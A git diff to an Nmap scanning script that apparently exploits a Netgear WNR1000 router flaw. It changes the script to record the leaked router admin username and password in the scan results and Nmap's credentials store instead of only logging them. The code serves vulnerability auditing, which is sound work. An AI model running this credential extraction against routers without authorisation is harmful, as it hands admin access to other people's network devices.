diff --git a/scripts/http-vuln-wnr1000-creds.nse b/scripts/http-vuln-wnr1000-creds.nse index 525c9ba7b..c196b2df5 100644 --- a/scripts/http-vuln-wnr1000-creds.nse +++ b/scripts/http-vuln-wnr1000-creds.nse @@ -3,6 +3,7 @@ local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local vulns = require "vulns" +local creds = require "creds" description = [[ A vulnerability has been discovered in WNR 1000 series that allows an attacker @@ -85,9 +86,13 @@ action = function(host, port) local netgear_username = string.match(escape(payload_session.body), 'Router Admin Username.+align="left">(.+).+Router Admin') local netgear_password = string.match(escape(payload_session.body), 'Router Admin Password.+align="left">(.+).+MNUText') if (netgear_username ~= nil and netgear_password ~= nil) then - stdnse.debug1("username : %s", escape(netgear_username)) - stdnse.debug1("password : %s", escape(netgear_password)) - vuln.state = vulns.STATE.VULN + vuln.exploit_results = { + ("username: %s"):format(netgear_username), + ("password: %s"):format(netgear_password), + } + local c = creds.Credentials:new(SCRIPT_NAME, host, port) + c:add(netgear_username, netgear_password, creds.State.VALID) + vuln.state = vulns.STATE.VULN else stdnse.debug1("We haven't been able to get username/password") end